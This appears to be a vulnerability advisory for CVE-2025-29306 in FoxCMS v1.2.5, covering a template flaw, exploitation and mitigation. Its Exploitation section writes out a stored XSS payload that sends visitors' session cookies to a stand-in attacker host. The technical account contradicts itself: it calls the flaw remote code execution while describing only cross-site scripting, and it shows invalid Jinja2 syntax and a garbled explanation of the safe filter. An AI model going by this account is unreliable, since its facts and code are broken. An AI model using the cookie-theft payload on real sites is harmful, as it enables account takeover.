A recent vulnerability (CVE-2025-29306) has been discovered in FoxCMS v.1.2.5, a popular content management system (CMS). FoxCMS users must be aware of this potentially dangerous vulnerability, which makes it possible for a remote attacker to execute arbitrary code on the application's case display page, found in the index.html component. This vulnerability can lead to serious security breaches and unauthorized access if exploited.

Exploit Details

The vulnerability, identified as CVE-2025-29306, occurs due to insufficient input validation and output encoding in the index.html component of FoxCMS v.1.2.5. Specifically, this issue allows remote attackers to inject and execute arbitrary code on the CMS's case display page.

The vulnerability is rooted in the handling of user-supplied input in the case display function of index.html. The code snippet showcasing the vulnerable function is as follows:

<!-- Begin index.html -->
<div id="case-display">
  ...
  <h4>{{ case.title }}</h4>
  ...
  <div>
    {% case.body | safe %}
  </div>
  ...
</div>
<!-- End index.html -->

As seen in the code snippet, user input in case.title and case.body is rendered on the page without proper validation and output encoding, potentially allowing an attacker to inject malicious code into the page.

Technical Details

FoxCMS v.1.2.5 uses the Jinja2 template engine for rendering dynamic content. The CVE-2025-29306 vulnerability originates from the lack of proper input validation and output encoding implemented in the case display function. In this vulnerable code snippet, the Jinja2 {% case.body | safe %} filter is used for rendering the case.body attribute. However, the safe filter should only be applied to content that has gone through proper input validation and encoding. The insufficient validation before applying the safe filter allows an attacker to bypass the filter and inject malicious code that will be executed when a user visits the case display page.

Exploitation

To exploit this vulnerability, an attacker can create a case with a specially-crafted title and body containing malicious code. Once the case is published, any user who visits the case display page will trigger the execution of the injected code.

For example, an attacker could create a case with the following title and body

Title: <script>alert('XSS')</script>
Body: <script>document.location='http://attacker.site?cookie='+document.cookie</script>;

A user visiting this case display page will first see an alert popping up with the message 'XSS'. Then, the user's session cookie will be sent to the attacker's site, potentially giving the attacker unauthorized access to the user's account.

Mitigation

FoxCMS users are advised to immediately apply the security patch provided by the vendor in response to this vulnerability. The patch ensures proper input validation and output encoding in the case display function, effectively preventing the exploitation of CVE-2025-29306.

For additional security measures, it is also recommended to employ Content Security Policy (CSP) headers. These headers protect your site from cross-site scripting attacks by allowing developers to whitelist sources of trusted content.

Original References

1. CVE Details - CVE-2025-29306
2. FoxCMS v.1.2.5 - Official Release Notes & Patch
3. Jinja2 Template Engine Documentation

Conclusion

CVE-2025-29306 is a significant vulnerability in FoxCMS v.1.2.5, allowing for remote code execution via the case display page in the index.html component. It is vital that users of FoxCMS v.1.2.5 take immediate action to apply the provided security patch and employ additional security measures like CSP headers. This will ensure that your CMS remains secure and resistant to potential security breaches and unauthorized access.

Timeline

Published on: 03/27/2025 19:15:49 UTC
Last modified on: 04/11/2025 17:50:50 UTC